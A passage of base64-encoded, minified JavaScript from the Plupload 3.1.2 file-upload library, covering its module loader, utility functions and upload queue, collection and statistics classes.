luZSYmZGVmaW5lLmFtZD9kZWZpbmUoIm1veGllIixbXSxpKToib2JqZWN0Ij09dHlwZW9mIG1vZHVsZSYmbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9aSgpOmUubW94aWU9aSgpfSh0aGlzfHx3aW5kb3cpLGZ1bmN0aW9uKGUsdCl7dmFyIGk9ZnVuY3Rpb24oKXt2YXIgZT17fTtyZXR1cm4gZnVuY3Rpb24odyl7IWZ1bmN0aW9uKHMsYSl7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGUobyxlLHMpe2lmKCJzdHJpbmciIT10eXBlb2Ygbyl0aHJvdyJpbnZhbGlkIG1vZHVsZSBkZWZpbml0aW9uLCBtb2R1bGUgaWQgbXVzdCBiZSBkZWZpbmVkIGFuZCBiZSBhIHN0cmluZyI7aWYoZT09PWEpdGhyb3ciaW52YWxpZCBtb2R1bGUgZGVmaW5pdGlvbiwgZGVwZW5kZW5jaWVzIG11c3QgYmUgc3BlY2lmaWVkIjtpZihzPT09YSl0aHJvdyJpbnZhbGlkIG1vZHVsZSBkZWZpbml0aW9uLCBkZWZpbml0aW9uIGZ1bmN0aW9uIG11c3QgYmUgc3BlY2lmaWVkIjshZnVuY3Rpb24oZSx0KXtmb3IodmFyIGksbj1bXSxyPTA7cjxlLmxlbmd0aDsrK3Ipe2lmKCEoaT1jW2Vbcl1dfHx1KGVbcl0pKSl0aHJvdyJtb2R1bGUgZGVmaW5pdGlvbiBkZXBlbmRlY3kgbm90IGZvdW5kOiAiK2Vbcl07bi5wdXNoKGkpfShmdW5jdGlvbigpe2Nbb109cy5hcHBseShudWxsLGFyZ3VtZW50cyl9KS5hcHBseShudWxsLG4pfShlKX1mdW5jdGlvbiB1KGUpe2Zvcih2YXIgdD1zLGk9ZS5zcGxpdCgvWy5cL10vKSxuPTA7bjxpLmxlbmd0aDsrK24pe2lmKCF0W2lbbl1dKXJldHVybjt0PXRbaVtuXV19cmV0dXJuIHR9dmFyIGM9e307ZSgicGx1cGxvYWQiLFtdLGZ1bmN0aW9uKCl7dmFyIGU9dyxyPWUuY29yZS51dGlscztyZXR1cm4gci5FbnYuZ2xvYmFsX2V2ZW50X2Rpc3BhdGNoZXI9InBsdXBsb2FkLkV2ZW50VGFyZ2V0Lmluc3RhbmNlLmRpc3BhdGNoRXZlbnQiLHtWRVJTSU9OOiIzLjEuMiIsU1RPUFBFRDoxLFNUQVJURUQ6MixRVUVVRUQ6MSxVUExPQURJTkc6MixGQUlMRUQ6NCxET05FOjUsR0VORVJJQ19FUlJPUjotMTAwLEhUVFBfRVJST1I6LTIwMCxJT19FUlJPUjotMzAwLFNFQ1VSSVRZX0VSUk9SOi00MDAsSU5JVF9FUlJPUjotNTAwLEZJTEVfU0laRV9FUlJPUjotNjAwLEZJTEVfRVhURU5TSU9OX0VSUk9SOi02MDEsRklMRV9EVVBMSUNBVEVfRVJST1I6LTYwMixJTUFHRV9GT1JNQVRfRVJST1I6LTcwMCxNRU1PUllfRVJST1I6LTcwMSxJTUFHRV9ESU1FTlNJT05TX0VSUk9SOi03MDIsT1BUSU9OX0VSUk9SOi04MDAsbW94aWU6ZSx1YTpyLkVudix0eXBlT2Y6ci5CYXNpYy50eXBlT2YsY2xvbmU6ci5CYXNpYy5jbG9uZSxpbmhlcml0OnIuQmFzaWMuaW5oZXJpdCxleHRlbmQ6ci5CYXNpYy5leHRlbmQsZXh0ZW5kSW1tdXRhYmxlOnIuQmFzaWMuZXh0ZW5kSW1tdXRhYmxlLGV4dGVuZElmOnIuQmFzaWMuZXh0ZW5kSWYsaW5TZXJpZXM6ci5CYXNpYy5pblNlcmllcyxpblBhcmFsbGVsOnIuQmFzaWMuaW5QYXJhbGxlbCxndWlkOnIuQmFzaWMuZ3VpZCxnZXRBbGw6ZnVuY3Rpb24oZSl7dmFyIHQsaT1bXTsiYXJyYXkiIT09ci5CYXNpYy50eXBlT2YoZSkmJihlPVtlXSk7Zm9yKHZhciBuPWUubGVuZ3RoO24tLTspKHQ9ci5Eb20uZ2V0KGVbbl0pKSYmaS5wdXNoKHQpO3JldHVybiBpLmxlbmd0aD9pOm51bGx9LGdldDpyLkRvbS5nZXQsZWFjaDpyLkJhc2ljLmVhY2gsZ2V0UG9zOnIuRG9tLmdldFBvcyxnZXRTaXplOnIuRG9tLmdldFNpemUseG1sRW5jb2RlOmZ1bmN0aW9uKGUpe3ZhciB0PXsiPCI6Imx0IiwiPiI6Imd0IiwiJiI6ImFtcCIsJyInOiJxdW90IiwiJyI6IiMzOSJ9O3JldHVybiBlPygiIitlKS5yZXBsYWNlKC9bPD4mXCJcJ10vZyxmdW5jdGlvbihlKXtyZXR1cm4gdFtlXT8iJiIrdFtlXSsiOyI6ZX0pOmV9LHRvQXJyYXk6ci5CYXNpYy50b0FycmF5LGluQXJyYXk6ci5CYXNpYy5pbkFycmF5LGFkZEkxOG46ZS5jb3JlLkkxOG4uYWRkSTE4bix0cmFuc2xhdGU6ZS5jb3JlLkkxOG4udHJhbnNsYXRlLHNwcmludGY6ci5CYXNpYy5zcHJpbnRmLGlzRW1wdHlPYmo6ci5CYXNpYy5pc0VtcHR5T2JqLGhhc0NsYXNzOnIuRG9tLmhhc0NsYXNzLGFkZENsYXNzOnIuRG9tLmFkZENsYXNzLHJlbW92ZUNsYXNzOnIuRG9tLnJlbW92ZUNsYXNzLGdldFN0eWxlOnIuRG9tLmdldFN0eWxlLGFkZEV2ZW50OnIuRXZlbnRzLmFkZEV2ZW50LHJlbW92ZUV2ZW50OnIuRXZlbnRzLnJlbW92ZUV2ZW50LHJlbW92ZUFsbEV2ZW50czpyLkV2ZW50cy5yZW1vdmVBbGxFdmVudHMsY2xlYW5OYW1lOmZ1bmN0aW9uKGUpe3ZhciB0LGk7Zm9yKGk9Wy9bXDMwMC1cMzA2XS9nLCJBIiwvW1wzNDAtXDM0Nl0vZywiYSIsL1wzMDcvZywiQyIsL1wzNDcvZywiYyIsL1tcMzEwLVwzMTNdL2csIkUiLC9bXDM1MC1cMzUzXS9nLCJlIiwvW1wzMTQtXDMxN10vZywiSSIsL1tcMzU0LVwzNTddL2csImkiLC9cMzIxL2csIk4iLC9cMzYxL2csIm4iLC9bXDMyMi1cMzMwXS9nLCJPIiwvW1wzNjItXDM3MF0vZywibyIsL1tcMzMxLVwzMzRdL2csIlUiLC9bXDM3MS1cMzc0XS9nLCJ1Il0sdD0wO3Q8aS5sZW5ndGg7dCs9MillPWUucmVwbGFjZShpW3RdLGlbdCsxXSk7cmV0dXJuKGU9ZS5yZXBsYWNlKC9ccysvZywiXyIpKS5yZXBsYWNlKC9bXmEtejAtOV9cLVwuXSsvZ2ksIiIpfSxidWlsZFVybDpmdW5jdGlvbihlLHQpe3ZhciBpPSIiO3JldHVybiByLkJhc2ljLmVhY2godCxmdW5jdGlvbihlLHQpe2krPShpPyImIjoiIikrZW5jb2RlVVJJQ29tcG9uZW50KHQpKyI9IitlbmNvZGVVUklDb21wb25lbnQoZSl9KSxpJiYoZSs9KDA8ZS5pbmRleE9mKCI/Iik/IiYiOiI/IikraSksZX0sZm9ybWF0U2l6ZTpmdW5jdGlvbihlKXtmdW5jdGlvbiB0KGUsdCl7cmV0dXJuIE1hdGgucm91bmQoZSpNYXRoLnBvdygxMCx0KSkvTWF0aC5wb3coMTAsdCl9dmFyIGk9dGhpcztpZihlPXBhcnNlSW50KGUsMTApLGlzTmFOKGUpKXJldHVybiBpLnRyYW5zbGF0ZSgiTi9BIik7dmFyIG49TWF0aC5wb3coMTAyNCw0KTtyZXR1cm4gbjxlP3QoZS9uLDEpKyIgIitpLnRyYW5zbGF0ZSgidGIiKTplPihuLz0xMDI0KT90KGUvbiwxKSsiICIraS50cmFuc2xhdGUoImdiIik6ZT4obi89MTAyNCk/dChlL24sMSkrIiAiK2kudHJhbnNsYXRlKCJtYiIpOjEwMjQ8ZT9NYXRoLnJvdW5kKGUvMTAyNCkrIiAiK2kudHJhbnNsYXRlKCJrYiIpOmUrIiAiK2kudHJhbnNsYXRlKCJiIil9LG1pbWVzMmV4dExpc3Q6dy5jb3JlLnV0aWxzLk1pbWUubWltZXMyZXh0TGlzdCxyZXNvbHZlVXJsOnIuVXJsLnJlc29sdmVVcmwscGFyc2VTaXplOnIuQmFzaWMucGFyc2VTaXplU3RyLGRlbGF5OnIuQmFzaWMuZGVsYXksRXZlbnRUYXJnZXQ6dy5jb3JlLkV2ZW50VGFyZ2V0LFJ1bnRpbWU6dy5ydW50aW1lLlJ1bnRpbWUsRmlsZUlucHV0OncuZmlsZS5GaWxlSW5wdXQsRmlsZVJlYWRlcjp3LmZpbGUuRmlsZVJlYWRlcn19KSxlKCJwbHVwbG9hZC9jb3JlL0NvbGxlY3Rpb24iLFsicGx1cGxvYWQiXSxmdW5jdGlvbigpe3ZhciBpPWZ1bmN0aW9uKCl7dmFyIG4scj17fSxvPTA7cGx1cGxvYWQuZXh0ZW5kKHRoaXMse2NvdW50OmZ1bmN0aW9uKCl7cmV0dXJuIG99LGhhc0tleTpmdW5jdGlvbihlKXtyZXR1cm4gci5oYXNPd25Qcm9wZXJ0eShlKX0sZ2V0OmZ1bmN0aW9uKGUpe3JldHVybiByW2VdfSxmaXJzdDpmdW5jdGlvbigpe2Zvcih2YXIgZSBpbiByKXJldHVybiByW2VdfSxsYXN0OmZ1bmN0aW9uKCl7cmV0dXJuIG59LHRvT2JqZWN0OmZ1bmN0aW9uKCl7cmV0dXJuIHJ9LGFkZDpmdW5jdGlvbihlLHQpe3ZhciBpPXRoaXM7cmV0dXJuIm9iamVjdCIhPXR5cGVvZiBlfHx0P3IuaGFzT3duUHJvcGVydHkoZSk/aS51cGRhdGUuYXBwbHkoaSxhcmd1bWVudHMpOihyW2VdPW49dCx2b2lkIG8rKyk6cGx1cGxvYWQuZWFjaChlLGZ1bmN0aW9uKGUsdCl7aS5hZGQodCxlKX0pfSxyZW1vdmU6ZnVuY3Rpb24oZSl7aWYodGhpcy5oYXNLZXkoZSkpe3ZhciB0PXJbZV07ZGVsZXRlIHJbZV0sby0tLG49PT10JiYobj1mdW5jdGlvbigpe3ZhciBlO2ZvcihlIGluIHIpO3JldHVybiByW2VdfSgpKX19LGV4dHJhY3Q6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5nZXQoZSk7cmV0dXJuIHRoaXMucmVtb3ZlKGUpLHR9LHNoaWZ0OmZ1bmN0aW9uKCl7dmFyIGUsdDtmb3IodCBpbiByKXJldHVybiBlPXJbdF0sdGhpcy5yZW1vdmUodCksZX0sdXBkYXRlOmZ1bmN0aW9uKGUsdCl7cltlXT10fSxlYWNoOmZ1bmN0aW9uKGUpe3BsdXBsb2FkLmVhY2gocixlKX0sY29tYmluZVdpdGg6ZnVuY3Rpb24oKXt2YXIgdD1uZXcgaTtyZXR1cm4gdC5hZGQocikscGx1cGxvYWQuZWFjaChhcmd1bWVudHMsZnVuY3Rpb24oZSl7ZSBpbnN0YW5jZW9mIGkmJnQuYWRkKGUudG9PYmplY3QoKSl9KSx0fSxjbGVhcjpmdW5jdGlvbigpe3I9e30sbj1udWxsLG89MH19KX07cmV0dXJuIGl9KSxlKCJwbHVwbG9hZC9jb3JlL0FyckNvbGxlY3Rpb24iLFsicGx1cGxvYWQiXSxmdW5jdGlvbihpKXtyZXR1cm4gZnVuY3Rpb24oKXt2YXIgbj1bXTtpLmV4dGVuZCh0aGlzLHtjb3VudDpmdW5jdGlvbigpe3JldHVybiBuLmxlbmd0aH0saGFzS2V5OmZ1bmN0aW9uKGUpe3JldHVybi0xPHRoaXMuZ2V0SWR4KGUpfSxnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5nZXRJZHgoZSk7cmV0dXJuLTE8dD9uW3RdOm51bGx9LGdldElkeDpmdW5jdGlvbihlKXtmb3IodmFyIHQ9MCxpPW4ubGVuZ3RoO3Q8aTt0KyspaWYoblt0XS51aWQ9PT1lKXJldHVybiB0O3JldHVybi0xfSxnZXRCeUlkeDpmdW5jdGlvbihlKXtyZXR1cm4gbltlXX0sZmlyc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gblswXX0sbGFzdDpmdW5jdGlvbigpe3JldHVybiBuW24ubGVuZ3RoLTFdfSxhZGQ6ZnVuY3Rpb24oZSl7ZT1hcmd1bWVudHNbMV18fGU7dmFyIHQ9dGhpcy5nZXRJZHgoZS51aWQpO3JldHVybi0xPHQ/KG5bdF09ZSx0KToobi5wdXNoKGUpLG4ubGVuZ3RoLTEpfSxyZW1vdmU6ZnVuY3Rpb24oZSl7cmV0dXJuISF0aGlzLmV4dHJhY3QoZSl9LHNwbGljZTpmdW5jdGlvbihlLHQpe3JldHVybiBlPSJ1bmRlZmluZGVkIj09PWkudHlwZU9mKGUpPzA6TWF0aC5tYXgoZSwwKSx0PSJ1bmRlZmluZGVkIiE9PWkudHlwZU9mKHQpJiZlK3Q8bi5sZW5ndGg/dDpuLmxlbmd0aC1lLG4uc3BsaWNlKGUsdCl9LGV4dHJhY3Q6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5nZXRJZHgoZSk7cmV0dXJuLTE8dD9uLnNwbGljZSh0LDEpOm51bGx9LHNoaWZ0OmZ1bmN0aW9uKCl7cmV0dXJuIG4uc2hpZnQoKX0sdXBkYXRlOmZ1bmN0aW9uKGUsdCl7dmFyIGk9dGhpcy5nZXRJZHgoZSk7cmV0dXJuLTE8aSYmKG5baV09dCwhMCl9LGVhY2g6ZnVuY3Rpb24oZSl7aS5lYWNoKG4sZSl9LGNvbWJpbmVXaXRoOmZ1bmN0aW9uKCl7cmV0dXJuIEFycmF5LnByb3RvdHlwZS5jb25jYXQuYXBwbHkodGhpcy50b0FycmF5KCksYXJndW1lbnRzKX0sc29ydDpmdW5jdGlvbihlKXtuLnNvcnQoZXx8ZnVuY3Rpb24oZSx0KXtyZXR1cm4gZS5wcmlvcml0eS10LnByaW9yaXR5fSl9LGNsZWFyOmZ1bmN0aW9uKCl7bj1bXX0sdG9PYmplY3Q6ZnVuY3Rpb24oKXtmb3IodmFyIGU9e30sdD0wLGk9bi5sZW5ndGg7dDxpO3QrKyllW25bdF0udWlkXT1uW3RdO3JldHVybiBlfSx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKG4pfX0pfX0pLGUoInBsdXBsb2FkL2NvcmUvT3B0aW9uYWJsZSIsWyJwbHVwbG9hZCJdLGZ1bmN0aW9uKG8pe3JldHVybiBmdW5jdGlvbihlKXtmdW5jdGlvbiB0KCl7ZS5hcHBseSh0aGlzLGFyZ3VtZW50cyksdGhpcy5fb3B0aW9ucz17fX1yZXR1cm4gby5pbmhlcml0KHQsZSksby5leHRlbmQodC5wcm90b3R5cGUse3NldE9wdGlvbjpmdW5jdGlvbihlLHQsaSl7dmFyIG4scj10aGlzO3JldHVybiJvYmplY3QiPT10eXBlb2YgZT8oaT10LHZvaWQgby5lYWNoKGUsZnVuY3Rpb24oZSx0KXtyLnNldE9wdGlvbih0LGUsaSl9KSk6dm9pZCgoIWl8fHIuX29wdGlvbnMuaGFzT3duUHJvcGVydHkoZSkpJiYobj1vLmNsb25lKHIuX29wdGlvbnNbZV0pLCJvYmplY3QiPT09by50eXBlT2YodCkmJiJvYmplY3QiPT09by50eXBlT2Yoci5fb3B0aW9uc1tlXSk/by5leHRlbmQoci5fb3B0aW9uc1tlXSx0KTpyLl9vcHRpb25zW2VdPXQsci50cmlnZ2VyKCJPcHRpb25DaGFuZ2VkIixlLHQsbikpKX0sZ2V0T3B0aW9uOmZ1bmN0aW9uKGUpe2lmKCFlKXJldHVybiB0aGlzLl9vcHRpb25zO3ZhciB0PXRoaXMuX29wdGlvbnNbZV07cmV0dXJuLTE8by5pbkFycmF5KG8udHlwZU9mKHQpLFsiYXJyYXkiLCJvYmplY3QiXSk/by5leHRlbmRJbW11dGFibGUoe30sdCk6dH0sc2V0T3B0aW9uczpmdW5jdGlvbihlLHQpeyJvYmplY3QiPT10eXBlb2YgZSYmdGhpcy5zZXRPcHRpb24oZSx0KX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldE9wdGlvbigpfX0pLHR9KHcuY29yZS5FdmVudFRhcmdldCl9KSxlKCJwbHVwbG9hZC9jb3JlL1F1ZXVlYWJsZSIsWyJwbHVwbG9hZCIsInBsdXBsb2FkL2NvcmUvT3B0aW9uYWJsZSJdLGZ1bmN0aW9uKHQsZSl7cmV0dXJuIGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIGkoKXtlLmFwcGx5KHRoaXMsYXJndW1lbnRzKSx0aGlzLnVpZD10Lmd1aWQoKSx0aGlzLnN0YXRlPWkuSURMRSx0aGlzLnByb2Nlc3NlZD0wLHRoaXMudG90YWw9MCx0aGlzLnBlcmNlbnQ9MCx0aGlzLnJldHJpZXM9MCx0aGlzLnByaW9yaXR5PTAsdGhpcy5zdGFydGVkVGltZXN0YW1wPTAsdGhpcy5wcm9jZXNzZWRUaW1lc3RhbXA9MH1yZXR1cm4gaS5JRExFPTEsaS5QUk9DRVNTSU5HPTIsaS5QQVVTRUQ9NixpLlJFU1VNRUQ9NyxpLkRPTkU9NSxpLkZBSUxFRD00LGkuREVTVFJPWUVEPTgsdC5pbmhlcml0KGksZSksdC5leHRlbmQoaS5wcm90b3R5cGUse3N0YXJ0OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zdGF0ZTtyZXR1cm4gdGhpcy5zdGF0ZSE9PWkuUFJPQ0VTU0lORyYmKHRoaXMuc3RhcnRlZFRpbWVzdGFtcHx8KHRoaXMuc3RhcnRlZFRpbWVzdGFtcD0rbmV3IERhdGUpLHRoaXMuc3RhdGU9aS5QUk9DRVNTSU5HLHRoaXMudHJpZ2dlcigic3RhdGVjaGFuZ2VkIix0aGlzLnN0YXRlLGUpLHRoaXMudHJpZ2dlcigic3RhcnRlZCIpLCEwKX0scGF1c2U6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnN0YXRlO3JldHVybi0xIT09dC5pbkFycmF5KHRoaXMuc3RhdGUsW2kuSURMRSxpLlJFU1VNRUQsaS5QUk9DRVNTSU5HXSkmJih0aGlzLnByb2Nlc3NlZD10aGlzLnBlcmNlbnQ9MCx0aGlzLmxvYWRlZD10aGlzLnByb2Nlc3NlZCx0aGlzLnN0YXRlPWkuUEFVU0VELHRoaXMudHJpZ2dlcigic3RhdGVjaGFuZ2VkIix0aGlzLnN0YXRlLGUpLHRoaXMudHJpZ2dlcigicGF1c2VkIiksITApfSxyZXN1bWU6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLnN0YXRlO3JldHVybih0aGlzLnN0YXRlPT09aS5QQVVTRUR8fHRoaXMuc3RhdGU9PT1pLlJFU1VNRUQpJiYodGhpcy5zdGF0ZT1pLlJFU1VNRUQsdGhpcy50cmlnZ2VyKCJzdGF0ZWNoYW5nZWQiLHRoaXMuc3RhdGUsZSksdGhpcy50cmlnZ2VyKCJyZXN1bWVkIiksITApfSxzdG9wOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zdGF0ZTtyZXR1cm4gdGhpcy5zdGF0ZSE9PWkuSURMRSYmKHRoaXMucHJvY2Vzc2VkPXRoaXMucGVyY2VudD0wLHRoaXMubG9hZGVkPXRoaXMucHJvY2Vzc2VkLHRoaXMuc3RhcnRlZFRpbWVzdGFtcD0wLHRoaXMuc3RhdGU9aS5JRExFLHRoaXMudHJpZ2dlcigic3RhdGVjaGFuZ2VkIix0aGlzLnN0YXRlLGUpLHRoaXMudHJpZ2dlcigic3RvcHBlZCIpLCEwKX0sZG9uZTpmdW5jdGlvbihlKXt2YXIgdD10aGlzLnN0YXRlO3JldHVybiB0aGlzLnN0YXRlIT09aS5ET05FJiYodGhpcy5wcm9jZXNzZWQ9dGhpcy50b3RhbCx0aGlzLmxvYWRlZD10aGlzLnByb2Nlc3NlZCx0aGlzLnBlcmNlbnQ9MTAwLHRoaXMucHJvY2Vzc2VkVGltZXN0YW1wPStuZXcgRGF0ZSx0aGlzLnN0YXRlPWkuRE9ORSx0aGlzLnRyaWdnZXIoInN0YXRlY2hhbmdlZCIsdGhpcy5zdGF0ZSx0KSx0aGlzLnRyaWdnZXIoImRvbmUiLGUpLHRoaXMudHJpZ2dlcigicHJvY2Vzc2VkIiksITApfSxmYWlsZWQ6ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5zdGF0ZTtyZXR1cm4gdGhpcy5zdGF0ZSE9PWkuRkFJTEVEJiYodGhpcy5wcm9jZXNzZWQ9dGhpcy5wZXJjZW50PTAsdGhpcy5sb2FkZWQ9dGhpcy5wcm9jZXNzZWQsdGhpcy5wcm9jZXNzZWRUaW1lc3RhbXA9K25ldyBEYXRlLHRoaXMuc3RhdGU9aS5GQUlMRUQsdGhpcy50cmlnZ2VyKCJzdGF0ZWNoYW5nZWQiLHRoaXMuc3RhdGUsdCksdGhpcy50cmlnZ2VyKCJmYWlsZWQiLGUpLHRoaXMudHJpZ2dlcigicHJvY2Vzc2VkIiksITApfSxwcm9ncmVzczpmdW5jdGlvbihlLHQpe3QmJih0aGlzLnRvdGFsPXQpLHRoaXMucHJvY2Vzc2VkPU1hdGgubWluKGUsdGhpcy50b3RhbCksdGhpcy5sb2FkZWQ9dGhpcy5wcm9jZXNzZWQsdGhpcy5wZXJjZW50PU1hdGguY2VpbCh0aGlzLnByb2Nlc3NlZC90aGlzLnRvdGFsKjEwMCksdGhpcy50cmlnZ2VyKHt0eXBlOiJwcm9ncmVzcyIsbG9hZGVkOnRoaXMucHJvY2Vzc2VkLHRvdGFsOnRoaXMudG90YWx9KX0sZGVzdHJveTpmdW5jdGlvbigpe3ZhciBlPXRoaXMuc3RhdGU7cmV0dXJuIHRoaXMuc3RhdGUhPT1pLkRFU1RST1lFRCYmKHRoaXMuc3RhdGU9aS5ERVNUUk9ZRUQsdGhpcy50cmlnZ2VyKCJzdGF0ZWNoYW5nZWQiLHRoaXMuc3RhdGUsZSksdGhpcy50cmlnZ2VyKCJkZXN0cm95IiksdGhpcy51bmJpbmRBbGwoKSwhMCl9fSksaX0oZSl9KSxlKCJwbHVwbG9hZC9jb3JlL1N0YXRzIixbXSxmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbigpe3ZhciBlPXRoaXM7ZS5zaXplPTAsZS50b3RhbD0wLGUubG9hZGVkPTAsZS51cGxvYWRlZD0wLGUuZG9uZT0wLGUuZmFpbGVkPTAsZS5xdWV1ZWQ9MCxlLnBhdXNlZD0wLGUucHJvY2Vzc2luZz0wLGUucGF1c2VkPTAsZS5wZXJjZW50PTAsZS5ieXRlc1BlclNlYz0wLGUucHJvY2Vzc2VkUGVyU2VjPTAsZS5yZXNldD1mdW5jdGlvbigpe2Uuc2l6ZT1lLnRvdGFsPWUubG9hZGVkPWUucHJvY2Vzc2VkPWUudXBsb2FkZWQ9ZS5kb25lPWUuZmFpbGVkPWUucXVldWVkPWUucHJvY2Vzc2luZz1lLnBhdXNlZD1lLnBlcmNlbnQ9ZS5ieXRlc1BlclNlYz1lLnByb2Nlc3NlZFBlclNlYz0wfX19KSxlKCJwbHVwbG9hZC9jb3JlL1F1ZXVlIixbInBsdXBsb2FkIiwicGx1cGxvYWQvY29yZS9BcnJDb2xsZWN0aW9uIiwicGx1cGxvYWQvY29yZS9RdWV1ZWFibGUiLCJwbHVwbG9hZC9jb3JlL1N0YXRzIl0sZnVuY3Rpb24ocixvLHMsYSl7cmV0dXJuIGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGkoZSl7dC5hcHBseSh0aGlzLGFyZ3VtZW50cyksdGhpcy5fcXVldWU9bmV3IG8sdGhpcy5zdGF0cz1uZXcgYSx0aGlzLl9vcHRpb25zPXIuZXh0ZW5kKHt9LHRoaXMuX29wdGlvbnMse21heF9zbG90czoxLG1heF9yZXRyaWVzOjAsYXV0b19zdGFydDohMSxmaW5pc2hfYWN0aXZlOiExfSxlKX1mdW5jdGlvbiBuKCl7dmFyIGU7aWYodGhpcy5zdGF0ZSE9PXMuUFJPQ0VTU0lORyYmdGhpcy5zdGF0ZSE9PXMuUEFVU0VEKXJldHVybiExO2lmKHRoaXMuc3RhdHMucHJvY2Vzc2luZzx0aGlzLmdldE9wdGlvbigibWF4X3Nsb3RzIikmJihlPWZ1bmN0aW9uKCl7dmFyIHQ7cmV0dXJuIHRoaXMuZm9yRWFjaEl0ZW0oZnVuY3Rpb24oZSl7cmV0dXJuIGUuc3RhdGU9PT1zLklETEV8fGUuc3RhdGU9PT1zLlJFU1VNRUQ/KHQ9ZSwhMSk6dm9pZCAwfSksdHx8bnVsbH0uY2FsbCh0aGlzKSkpe2lmKGUudHJpZ2dlcigiYmVmb3Jlc3RhcnQiKSlyZXR1cm4gZS5zZXRPcHRpb25zKHRoaXMuZ2V0T3B0aW9ucygpKSxlLnN0YXJ0KCk7ZS5wYXVzZSgpLG4uY2FsbCh0aGlzKX1yZXR1cm4hMX1yZXR1cm4gci5pbmhlcml0KGksdCksci5leHRlbmQoaS5wcm90b3R5cGUse2NvdW50OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3F1ZXVlLmNvdW50KCl9LHN0YXJ0OmZ1bmN0aW9uKCl7cmV0dXJuISFpLnBhcmVudC5zdGFydC5jYWxsKHRoaXMpJiZuLmNhbGwodGhpcyl9LHBhdXNlOmZ1bmN0aW9uKCl7cmV0dXJuISFpLnBhcmVudC5wYXVzZS5jYWxsKHRoaXMpJiZ2b2lkIHRoaXMuZm9yRWFjaEl0ZW0oZnVuY3Rpb24oZSl7ZS5wYXVzZSgpfSl9LHN0b3A6ZnVuY3Rpb24oKXtyZXR1cm4hKCFpLnBhcmVudC5zdG9wLmNhbGwodGhpcyl8fHRoaXMuZ2V0T3B0aW9uKCJmaW5pc2hfYWN0aXZlIikpJiZ2b2lkKHRoaXMuaXNBY3RpdmUoKSYmdGhpcy5mb3JFYWNoSXRlbShmdW5jdGlvbihlKXtlLnN0b3AoKX0pKX0sZm9yRWFjaEl0ZW06ZnVuY3Rpb24oZSl7dGhpcy5fcXVldWUuZWFjaChlKX0sZ2V0SXRlbTpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5fcXVldWUuZ2V0KGUpfSxhZGRJdGVtOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXM7ZS5iaW5kKCJTdGFydGVkIixmdW5jdGlvbigpe3QuY2FsY1N0YXRzKCkmJnIuZGVsYXkuY2FsbCh0LG4pfSksZS5iaW5kKCJSZXN1bWVkIixmdW5jdGlvbigpe3Quc3RhcnQoKX0pLGUuYmluZCgiUGF1c2VkIixmdW5jdGlvbigpe3QuY2FsY1N0YXRzKCkmJnIuZGVsYXkuY2FsbCh0LGZ1bmN0aW9uKCl7bi5jYWxsKHQpfHx0LnN0YXRzLnByb2Nlc3Npbmd8fHQucGF1c2UoKX0pfSksZS5iaW5kKCJQcm9jZXNzZWQgU3RvcHBlZCIsZnVuY3Rpb24oKXt0LmNhbGNTdGF0cygpJiZyLmRlbGF5LmNhbGwodCxmdW5jdGlvbigpe24uY2FsbCh0KXx8dGhpcy5pc1N0b3BwZWQoKXx8dGhpcy5pc0FjdGl2ZSgpfHx0LnN0b3AoKX0pfSksZS5iaW5kKCJQcm9ncmVzcyIsZnVuY3Rpb24oKXt0LmNhbGNTdGF0cygpJiZ0LnRyaWdnZXIoIlByb2dyZXNzIix0LnN0YXRzLnByb2Nlc3NlZCx0LnN0YXRzLnRvdGFsLHQuc3RhdHMpfSksZS5iaW5kKCJGYWlsZWQiLGZ1bmN0aW9uKCl7dC5nZXRPcHRpb24oIm1heF9yZXRyaWVzIikmJnRoaXMucmV0cmllczx0LmdldE9wdGlvbigibWF4X3JldHJpZXMiKSYmKHRoaXMuc3RvcCgpLHRoaXMucmV0cmllcysrKX0pLHRoaXMuX3F1ZXVlLmFkZChlLnVpZCxlKSx0aGlzLmNhbGNTdGF0cygpLGUudHJpZ2dlcigiUXVldWVkIiksKHQuZ2V0T3B0aW9uKCJhdXRvX3N0YXJ0Iil8fHQuc3RhdGU9PT1zLlBBVVNFRCkmJnIuZGVsYXkuY2FsbCh0aGlzLHRoaXMuc3RhcnQpfSxleHRyYWN0SXRlbTpmdW5jdGlvbihlKXt2YXIgdD10aGlzLl9xdWV1ZS5nZXQoZSk7cmV0dXJuIHQmJih0aGlzLnN0b3BJdGVtKHQudWlkKSx0aGlzLl9xdWV1ZS5yZW1vdmUoZSksdGhpcy5jYWxjU3RhdHMoKSksdH0scmVtb3ZlSXRlbTpmdW5jdGlvbihlKXt2YXIgdD10aGlzLmV4dHJhY3RJdGVtKGUpO3JldHVybiEhdCYmKHQuZGVzdHJveSgpLCEwKX0sc3RvcEl0ZW06ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5fcXVldWUuZ2V0KGUpO3JldHVybiEhdCYmdC5zdG9wKCl9LHBhdXNlSXRlbTpmdW5jdGlvbihlKXt2YXIgdD10aGlzLl9xdWV1ZS5nZXQoZSk7cmV0dXJuISF0JiZ0LnBhdXNlKCl9LHJlc3VtZUl0ZW06ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5fcXVldWUuZ2V0KGUpO3JldHVybiEhdCYmKHIuZGVsYXkuY2FsbCh0aGlzLGZ1bmN0aW9uKCl7dGhpcy5zdGFydCgpfSksdC5yZXN1bWUoKSl9LHNwbGljZTpmdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLl9xdWV1ZS5zcGxpY2UoZSx0KX0saXNBY3RpdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zdGF0cyYmKHRoaXM